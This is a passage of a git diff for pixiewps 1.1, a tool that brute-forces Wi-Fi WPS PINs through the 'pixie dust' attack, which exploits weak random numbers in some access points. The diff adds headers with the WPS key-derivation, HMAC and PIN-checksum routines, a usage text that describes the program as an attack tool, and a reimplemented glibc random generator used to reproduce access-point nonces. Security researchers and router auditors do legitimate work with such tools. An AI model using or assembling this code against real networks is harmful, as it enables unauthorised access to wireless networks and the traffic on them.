Converts an unsigned integer to a char array without termination */ -void uint_to_char_array(unsigned int num, int len, unsigned char *dst) { - unsigned int mul = 1; - while (len--) { - dst[len] = (num % (mul * 10) / mul) + '0'; - mul *= 10; - } -} - -/* Pin checksum computing */ -unsigned int wps_pin_checksum(unsigned int pin) { - unsigned int acc = 0; - while (pin) { - acc += 3 * (pin % 10); - pin /= 10; - acc += pin % 10; - pin /= 10; - } - return (10 - acc % 10) % 10; -} - -/* Validity PIN control based on checksum */ -unsigned int wps_pin_valid(unsigned int pin) { - return wps_pin_checksum(pin / 10) == (pin % 10); -} - -/* HMAC-SHA-256 */ -void hmac_sha256(const void *key, int key_len, const unsigned char *data, size_t data_len, unsigned char *digest) { - unsigned int h_len = HASH_LEN; - HMAC_CTX ctx; - HMAC_CTX_init(&ctx); - HMAC_Init_ex(&ctx, key, key_len, EVP_sha256(), 0); - HMAC_Update(&ctx, data, data_len); - HMAC_Final(&ctx, digest, &h_len); - HMAC_CTX_cleanup(&ctx); -} - /* Linear congruential generator */ -int rand_r(unsigned int *seed) { - unsigned int s = *seed; - unsigned int uret; +int32_t rand_r(uint32_t *seed) { + uint32_t s = *seed; + uint32_t uret; - s = (s * LCG_MULTIPLIER) + LCG_INCREMENT; /* Permutate seed */ - uret = s & 0xffe00000; /* Use top 11 bits */ - s = (s * LCG_MULTIPLIER) + LCG_INCREMENT; /* Permutate seed */ - uret += (s & 0xfffc0000) >> 11; /* Use top 14 bits */ - s = (s * LCG_MULTIPLIER) + LCG_INCREMENT; /* Permutate seed */ - uret += (s & 0xfe000000) >> (11 + 14); /* Use top 7 bits */ + s = (s * 1103515245) + 12345; /* Permutate seed */ + uret = s & 0xffe00000; /* Use top 11 bits */ + s = (s * 1103515245) + 12345; /* Permutate seed */ + uret += (s & 0xfffc0000) >> 11; /* Use top 14 bits */ + s = (s * 1103515245) + 12345; /* Permutate seed */ + uret += (s & 0xfe000000) >> (11 + 14); /* Use top 7 bits */ *seed = s; - return (int) (uret & RAND_MAX); + return (int32_t) uret; } -/* Prints a byte array in hexadecimal */ -void byte_array_print(unsigned char *buffer, unsigned int length) { - unsigned int i; - for (i = 0; i < length; i++) { - printf("%02x", buffer[i]); - if (i != length - 1) printf(":"); - } -} - -/* Info usage */ -void display_usage() { - puts(""); - puts(" Pixiewps made by wiire"); - puts(""); - puts(" Usage: pixiewps "); - puts(""); - puts(" Required Arguments:"); - puts(""); - puts(" -e, --pke : Enrollee public key"); - puts(" -r, --pkr : Registrar public key"); - puts(" -s, --e-hash1 : E-Hash1"); - puts(" -z, --e-hash2 : E-Hash2"); - puts(" -a, --authkey : Key used in HMAC SHA-256"); - puts(""); - puts(" Optional Arguments:"); - puts(""); - puts(" -n, --e-nonce : Enrollee nonce"); - puts(" -S, --dh-small : Small Diffie-Hellman keys (--pkr not needed)"); - puts(""); - puts(" -h, --help : Display this usage screen"); - puts(""); - - exit(ARG_ERROR); -} diff --git a/src/pixiewps.h b/src/pixiewps.h new file mode 100644 index 0000000..93b4b3e --- /dev/null +++ b/src/pixiewps.h @@ -0,0 +1,186 @@ +/* + * pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). + * All credits for the research go to Dominique Bongard. + * + * Special thanks to: datahead, soxrok2212 + * + * Copyright (c) 2015, wiire + * Version: 1.1 + * + * DISCLAIMER: This tool was made for educational purposes only. + * The author is NOT responsible for any misuse or abuse. + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + * + * In addition, as a special exception, the copyright holders give + * permission to link the code of portions of this program with the + * OpenSSL library under certain conditions as described in each + * individual source file, and distribute linked combinations + * including the two. + * You must obey the GNU General Public License in all respects + * for all of the code used other than OpenSSL. If you modify + * file(s) with this exception, you may extend this exception to your + * version of the file(s), but you are not obligated to do so. If you + * do not wish to do so, delete this exception statement from your + * version. If you delete this exception statement from all source + * files in the program, then also delete it here. + */ + +#ifndef _PIXIEWPS_H +#define _PIXIEWPS_H + +#define VERSION "1.1" +#define MAX_MODE 4 +#define MODE4_DAYS 10 +#define SEC_PER_HOUR 3600 +#define SEC_PER_DAY 86400 + +/* WPS constants */ +#define WPS_PUBKEY_LEN 192 +#define WPS_HASH_LEN 32 +#define WPS_AUTHKEY_LEN 32 +#define WPS_EMSK_LEN 32 +#define WPS_KEYWRAPKEY_LEN 16 +#define WPS_NONCE_LEN 16 +#define WPS_SECRET_NONCE_LEN 16 +#define WPS_PSK_LEN 16 +#define WPS_BSSID_LEN 6 +#define WPS_KDF_SALT_LEN 36 + +/* Exit costants */ +#define PIN_ERROR 2 +#define MEM_ERROR 3 +#define ARG_ERROR 4 + +#include +#include + +typedef enum {false = 0, true = 1} bool; + +struct global { + unsigned char *pke; + unsigned char *pkr; + unsigned char *e_hash1; + unsigned char *e_hash2; + unsigned char *authkey; + unsigned char *e_nonce; + unsigned char *r_nonce; + unsigned char *psk1; + unsigned char *psk2; + unsigned char *dhkey; + unsigned char *kdk; + unsigned char *wrapkey; + unsigned char *emsk; + unsigned char *e_s1; + unsigned char *e_s2; + unsigned char *e_bssid; + bool small_dh_keys; + bool bruteforce; + int verbosity; + char *error; +}; + +char usage[] = + "\n" + " Pixiewps %s WPS pixie dust attack tool\n" + " Copyright (c) 2015, wiire \n" + "\n" + " Usage: %s \n" + "\n" + " Required Arguments:\n" + "\n" + " -e, --pke : Enrollee public key\n" + " -r, --pkr : Registrar public key\n" + " -s, --e-hash1 : Enrollee Hash1\n" + " -z, --e-hash2 : Enrollee Hash2\n" + " -a, --authkey : Authentication session key\n" + "\n" + " Optional Arguments:\n" + "\n" + " -n, --e-nonce : Enrollee nonce (mode 2,3,4)\n" + " -m, --r-nonce : Registrar nonce\n" + " -b, --e-bssid : Enrollee BSSID\n" + " -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]\n" + " -f, --force : Bruteforce the whole keyspace (mode 4) [No]\n" + " -v, --verbosity : Verbosity level 1-3, 1 is quietest [2]\n" + "\n" + " -h, --help : Display this usage screen\n" + "\n" + " Examples:\n" + "\n" + " pixiewps -e -r -s -z -a -n \n" + " pixiewps -e -s -z -a -n -S\n" + " pixiewps -e -s -z -n -m -b -S\n" + "%s"; + +/* SHA-256 */ +void sha256(const unsigned char *data, size_t data_len, unsigned char *digest) { + SHA256_CTX ctx; + SHA256_Init(&ctx); + SHA256_Update(&ctx, data, data_len); + SHA256_Final(digest, &ctx); +} + +/* HMAC-SHA-256 */ +void hmac_sha256(const void *key, int key_len, const unsigned char *data, size_t data_len, unsigned char *digest) { + unsigned int h_len = WPS_HASH_LEN; + HMAC_CTX ctx; + HMAC_CTX_init(&ctx); + HMAC_Init_ex(&ctx, key, key_len, EVP_sha256(), 0); + HMAC_Update(&ctx, data, data_len); + HMAC_Final(&ctx, digest, &h_len); + HMAC_CTX_cleanup(&ctx); +} + +/* Key Derivation Function */ +void kdf(unsigned char *key, size_t key_len, unsigned char *res) { + uint32_t i = 1; + uint32_t kdk_len = key_len * 8; + int j = 0; + + /* Wi-Fi Easy and Secure Key Derivation */ + char *salt = "\x57\x69\x2d\x46\x69\x20\x45\x61\x73\x79\x20\x61\x6e\x64\x20\x53\x65\x63\x75\x72\x65\x20\x4b\x65\x79\x20\x44\x65\x72\x69\x76\x61\x74\x69\x6f\x6e"; + + unsigned char *buffer = malloc(WPS_KDF_SALT_LEN + 4 * 2); + + for (i = 1; i < 4; i++) { + uint32_t be = __be32_to_cpu(i); + memcpy(buffer, &be, 4); + memcpy(buffer + 4, salt, WPS_KDF_SALT_LEN); + be = __be32_to_cpu(kdk_len); + memcpy(buffer + 4 + 36, &be, 4); + hmac_sha256(key, WPS_HASH_LEN, buffer, WPS_KDF_SALT_LEN + 4 * 2, res + j); + j += WPS_HASH_LEN; + } + free(buffer); +} + +/* Pin checksum computing */ +unsigned int wps_pin_checksum(unsigned int pin) { + unsigned int acc = 0; + while (pin) { + acc += 3 * (pin % 10); + pin /= 10; + acc += pin % 10; + pin /= 10; + } + return (10 - acc % 10) % 10; +} + +/* Validity PIN control based on checksum */ +unsigned int wps_pin_valid(unsigned int pin) { + return wps_pin_checksum(pin / 10) == (pin % 10); +} + +#endif /* _PIXIEWPS_H */ diff --git a/src/random_r.c b/src/random_r.c new file mode 100644 index 0000000..6564d7f --- /dev/null +++ b/src/random_r.c @@ -0,0 +1,365 @@ +/* + * Copyright (c) 1983 Regents of the University of California. + * All rights reserved. + * + * Redistribution and use in source and binary forms are permitted + * provided that the above copyright notice and this paragraph are + * duplicated in all such forms and that any documentation, + * advertising materials, and other materials related to such + * distribution and use acknowledge that the software was developed + * by the University of California, Berkeley. The name of the + * University may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED + * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ + +/* + * This is derived from the Berkeley source: + * @(#)random.c 5.5 (Berkeley) 7/6/88 + * It was reworked for the GNU C Library by Roland McGrath. + * Rewritten to be reentrant by Ulrich Drepper, 1995 + */ + +#include +#include +#include +#include +#include +/* #include */ + +#include "random_r.h" + +/* An improved random number generation package. In addition to the standard + rand()/srand() like interface, this package also has a special state info + interface. The initstate() routine is called with a seed, an array of + bytes, and a count of how many bytes are being passed in; this array is + then initialized to contain information for random number generation with + that much state information. Good sizes for the amount of state + information are 32, 64, 128, and 256 bytes. The state can be switched by + calling the setstate() function with the same array as was initialized + with initstate(). By default, the package runs with 128 bytes of state + information and generates far better random numbers than a linear + congruential generator. If the amount of state information is less than + 32 bytes, a simple linear congruential R.N.G. is used. Internally, the + state information is treated as an array of longs; the zeroth element of + the array is the type of R.N.G. being used (small integer); the remainder + of the array is the state information for the R.N.G. Thus, 32 bytes of + state information will give 7 longs worth of state information, which will + allow a degree seven polynomial. (Note: The zeroth word of state + information also has some other information stored in it; see setstate + for details). The random number generation technique is a linear feedback + shift register approach, employing trinomials (since there are fewer terms + to sum up that way). In this approach, the least significant bit of all + the numbers in the state table will act as a linear feedback shift register, + and will have period 2^deg - 1 (where deg is the degree of the polynomial + being used, assuming that the polynomial is irreducible and primitive). + The higher order bits will have longer periods, since their values are + also influenced by pseudo-random carries out of the lower bits. The + total period of the generator is approximately deg*(2**deg - 1); thus + doubling the amount of state information has a vast influence on the + period of the generator. Note: The deg*(2**deg - 1) is an approximation + only good for large deg, when the period of the shift register is the + dominant factor. With deg equal to seven, the period is actually much + longer than the 7*(2**7 - 1) predicted by this formula. */ + + + +/* For each of the currently supported random number generators, we have a + break value on the amount of state information (you need at least this many + bytes of state info to support this random number generator), a degree for + the polynomial (actually a trinomial) that the R.N.G. is based on, and + separation between the two lower order coefficients of the trinomial. */ + +/* Linear congruential. */ +#define TYPE_0 0 +#define BREAK_0 8 +#define DEG_0 0 +#define SEP_0 0 + +/* x**7 + x**3 + 1. */ +#define TYPE_1 1 +#define BREAK_1 32 +#define DEG_1 7 +#define SEP_1 3 + +/* x**15 + x + 1. */ +#define TYPE_2 2 +#define BREAK_2 64 +#define DEG_2 15 +#define SEP_2 1 + +/* x**31 + x**3 + 1. */ +#define TYPE_3 3 +#define BREAK_3 128 +#define DEG_3 31 +#define SEP_3 3 + +/* x**63 + x + 1. */ +#define TYPE_4 4 +#define BREAK_4 256 +#define DEG_4 63 +#define SEP_4 1 + + +/* Array versions of the above information to make code run faster. + Relies on fact that TYPE_i == i. */ + +#define MAX_TYPES 5 /* Max number of types above. */ + +struct random_poly_info +{ + /* smallint seps[MAX_TYPES]; */ + /* smallint degrees[MAX_TYPES]; */ + unsigned char seps[MAX_TYPES]; + unsigned char degrees[MAX_TYPES]; +}; + +static const struct random_poly_info random_poly_info = +{ + { SEP_0, SEP_1, SEP_2, SEP_3, SEP_4 }, + { DEG_0, DEG_1, DEG_2, DEG_3, DEG_4 } +}; + + +/* If we are using the trivial TYPE_0 R.N.G., just do the old linear + congruential bit. Otherwise, we do our fancy trinomial stuff, which is the + same in all the other cases due to all the global variables that have been + set up. The basic operation is to add the number at the rear pointer into + the one at the front pointer. Then both pointers are advanced to the next + location cyclically in the table. The value returned is the sum generated, + reduced to 31 bits by throwing away the "least random" low bit. + Note: The code takes advantage of the fact that both the front and + rear pointers can't wrap on the same call by not testing the rear + pointer if the front one has wrapped. Returns a 31-bit random number. */ + +void random_r(struct random_data *buf, int32_t *result) +{ + int32_t *state; + + /* if (buf == NULL || result == NULL) */ + /* goto fail; */ + + state = buf->state; + + if (buf->rand_type == TYPE_0) + { + int32_t val = state[0]; + val = ((state[0] * 1103515245) + 12345) & 0x7fffffff; + state[0] = val; + *result = val; + } + else + { + int32_t *fptr = buf->fptr; + int32_t *rptr = buf->rptr; + int32_t *end_ptr = buf->end_ptr; + int32_t val; + + val = *fptr += *rptr; + /* Chucking least random bit. */ + *result = (val >> 1) & 0x7fffffff; + ++fptr; + if (fptr >= end_ptr) + { + fptr = state; + ++rptr; + } + else + { + ++rptr; + if (rptr >= end_ptr) + rptr = state; + } + buf->fptr = fptr; + buf->rptr = rptr; + } + /* return 0; */ + +/* fail: */ + /* __set_errno (EINVAL); */ + /* return -1; */ +} +/* libc_hidden_def(random_r) */ + + +/* Initialize the random number generator based on the given seed. If the + type is the trivial no-state-information type, just remember the seed. + Otherwise, initializes state[] based on the given "seed" via a linear + congruential generator. Then, the pointers are set to known locations + that are exactly rand_sep places apart. Lastly, it cycles the state + information a given number of times to get rid of any initial dependencies + introduced by the L.C.R.N.G. Note that the initialization of randtbl[] + for default usage relies on values produced by this routine. */ +int srandom_r (unsigned int seed, struct random_data *buf) +{ + int type; + int32_t *state; + long int i; + long int word; + int32_t *dst; + int kc; + + if (buf == NULL) + goto fail; + type = buf->rand_type; + if ((unsigned int) type >= MAX_TYPES) + goto fail; + + state = buf->state; + /* We must make sure the seed is not 0. Take arbitrarily 1 in this case. */ + if (seed == 0) + seed = 1; + state[0] = seed; + if (type == TYPE_0) + goto done; + + dst = state; + word = seed; + kc = buf->rand_deg; + for (i = 1; i < kc; ++i) + { + /* This does: + state[i] = (16807 * state[i - 1]) % 2147483647; + but avoids overflowing 31 bits. */ + long int hi = word / 127773; + long int lo = word % 127773; + word = 16807 * lo - 2836 * hi; + if (word < 0) + word += 2147483647; + *++dst = word; + } + + buf->fptr = &state[buf->rand_sep]; + buf->rptr = &state[0]; + kc *= 10; + while (--kc >= 0) + { + int32_t discard; + (void) random_r (buf, &discard); + } + +done: + return 0; + +fail: + return -1; +} +/* libc_hidden_def(srandom_r) */ + + +/* Initialize the state information in the given array of N bytes for + future random number generation. Based on the number of bytes we + are given, and the break values for the different R.N.G.'s, we choose + the best (largest) one we can and set things up for it. srandom is + then called to initialize the state information. Note that on return + from srandom, we set state[-1] to be the type multiplexed with the current + value of the rear pointer; this is so successive calls to initstate won't + lose this information and will be able to restart with setstate. + Note: The first thing we do is save the current state, if any, just like + setstate so that it doesn't matter when initstate is called. + Returns a pointer to the old state. */ +int initstate_r (unsigned int seed, char *arg_state, size_t n, struct random_data *buf) +{ + int type; + int degree; + int separation; + int32_t *state; + + if (buf == NULL) + goto fail; + + if (n >= BREAK_3) + type = n < BREAK_4 ? TYPE_3 : TYPE_4; + else if (n < BREAK_1) + { + if (n < BREAK_0) + { + /* __set_errno (EINVAL); */ + goto fail; + } + type = TYPE_0; + } + else + type = n < BREAK_2 ? TYPE_1 : TYPE_2; + + degree = random_poly_info.degrees[type]; + separation = random_poly_info.seps[type]; + + buf->rand_type = type; + buf->rand_sep = separation; + buf->rand_deg = degree; + state = &((int32_t *) arg_state)[1]; /* First location. */ + /* Must set END_PTR before srandom. */ + buf->end_ptr = &state[degree]; + + buf->state = state; + + srandom_r (seed, buf); + + state[-1] = TYPE_0; + if (type != TYPE_0) + state[-1] = (buf->rptr - state) * MAX_TYPES + type; + + return 0; + +fail: + /* __set_errno (EINVAL); */ + return -1; +} +/* libc_hidden_def(initstate_r) */ + + +/* Restore the state from the given state array. + Note: It is important that we also remember the locations of the pointers + in the current state information, and restore the locations of the pointers + from the old state information. This is done by multiplexing the pointer + location into the zeroth word of the state information. Note that due + to the order in which things are done, it is OK to call setstate with the + same state as the current state + Returns a pointer to the old state information. */ +int setstate_r (char *arg_state, struct random_data *buf) +{ + int32_t *new_state = 1 + (int32_t *) arg_state; + int type; + int old_type; + int32_t *old_state; + int degree; + int separation; + + if (arg_state == NULL || buf == NULL) + goto fail; + + old_type = buf->rand_type; + old_state = buf->state; + if (old_type == TYPE_0) + old_state[-1] = TYPE_0; + else + old_state[-1] = (MAX_TYPES * (buf->rptr - old_state)) + old_type; + + type = new_state[-1] % MAX_TYPES; + if (type < TYPE_0 || type > TYPE_4) + goto fail; + + buf->rand_deg = degree = random_poly_info.degrees[type]; + buf->rand_sep = separation = random_poly_info.seps[type]; + buf->rand_type = type; + + if (type != TYPE_0) + { + int rear = new_state[-1] / MAX_TYPES; + buf->rptr = &new_state[rear]; + buf->fptr = &new_state[(rear + separation) % degree]; + } + buf->state = new_state; + /* Set end_ptr too. */ + buf->end_ptr = &new_state[degree]; + + return 0; + +fail: + /* __set_errno (EINVAL); */ + return -1; +} +/* libc_hidden_def(setstate_r) */ diff --git a/src/random_r.h b/src/random_r.h new file mode 100644 index 0000000..4fe3b5d --- /dev/null +++ b/src/random_r.h @@ -0,0 +1,60 @@ +/* + * pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). + * All credits for the research go to Dominique Bongard. + * + * Special thanks to: datahead, soxrok2212 + * + * Copyright (c) 2015, wiire + * Version: 1.1 + * + * DISCLAIMER: This tool was made for educational purposes only. + * The author is NOT responsible for any misuse or abuse. + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + * + * In addition, as a special exception, the copyright holders give + * permission to link the code of portions of this program with the + * OpenSSL library under certain conditions as described in each + * individual source file, and distribute linked combinations + * including the two. + * You must obey the GNU General Public License in all respects + * for all of the code used other than OpenSSL. If you modify + * file(s) with this exception, you may extend this exception to your + * version of the file(s), but you are not obligated to do so. If you + * do not wish to do so, delete this exception statement from your + * version. If you delete this exception statement from all source + * files in the program, then also delete it here. + */ + +#ifndef _RANDOM_R_H +#define _RANDOM_R_H + +#include + +struct random_data { + int32_t *fptr; /* Front pointer */ + int32_t *rptr; /* Rear pointer */ + int32_t *state; /* Array of state values */ + int rand_type; /* Type of random number generator */ + int rand_deg; /* Degree of random number generator */ + int rand_sep; /* Distance between front and rear */ + int32_t *end_ptr; /* Pointer behind state table */ +}; + +void random_r(struct random_data *buf, int32_t *result); +int srandom_r (unsigned int seed, struct random_data *buf); +int initstate_r (unsigned int seed, char *arg_state, size_t n, struct random_data *buf); +int setstate_r (char *arg_state, struct random_data *buf); + +#endif /* _RANDOM_R_H */ diff --git a/src/utils.h b/src/utils.h new file mode 100644 index 0000000..6883b59 --- /dev/null +++ b/src/utils.h @@ -0,0 +1,109 @@ +/* + * pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). + * All credits for the research go to Dominique Bongard. + * + * Special thanks to: datahead, soxrok2212 + * + * Copyright (c) 2015, wiire + * Version: 1.1 + * + * DISCLAIMER: This tool was made for educational purposes only. + * The author is NOT responsible for any misuse or abuse. + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + * + * In addition, as a special exception, the copyright holders give + * permission to link the code of portions of this program with the + * OpenSSL library under certain conditions as described in each + * individual source file, and distribute linked combinations + * including the two. + * You must obey the GNU General Public License in all respects + * for all of the code used other than OpenSSL. If you modify + * file(s) with this exception, you may extend this exception to your + * version of the file(s), but you are not obligated to do so. If you + * do not wish to do so, delete this exception statement from your + * version. If you delete this exception statement from all source + * files in the program, then also delete it here. + */ + +#ifndef _UTILS_H +#define _UTILS_H + +/* Converts an hex string to a byte array */ +int hex_string_to_byte_array(char *in, unsigned char *out, int n_len) { + int i, j, o; + int len = strlen(in); + int b_len = n_len * 2 + n_len - 1; + + if (len != n_len * 2 && len != b_len) + return 1; + for (i = 0; i < n_len; i++) { + o = 0; + for (j = 0; j < 2; j++) { + o <<= 4; + if (*in >= 'A' && *in <= 'F') + *in += 'a'-'A'; + if (*in >= '0' && *in <= '9') + o += *in - '0'; + else + if (*in >= 'a' && *in <= 'f') + o += *in - 'a' + 10; + else + return 1; + in++; + }; + *out++ = o; + if (len == b_len) { + if (*in == ':' || *in == '-' || *in == ' ' || *in == 0) + in++; + else + return 1; + } + } + return 0; +}; + +/* Converts a string into an integer */ +int get_int(char *in, int *out) { + int i, o = 0, len = strlen(in); + for (i = 0; i < len; i++) { + if ('0' <= *in && *in <= '9') + o = o * 10 + *in - '0'; + else + return 1; + in++; + }; + *out = o; + return 0; +}; + +/* Converts an unsigned integer to a char array without termination */ +void uint_to_char_array(unsigned int num, int len, unsigned char *dst) { + unsigned int mul = 1; + while (len--) { + dst[len] = (num % (mul * 10) / mul) + '0'; + mul *= 10; + } +} + +/* Prints a byte array in hexadecimal */ +void byte_array_print(unsigned char *buffer, unsigned int length) { + unsigned int i; + for (i = 0; i < length; i++) { + printf("%02x", buffer[i]); + if (i != length - 1) printf(":"); + } +} + +#endif /* _UTILS_H */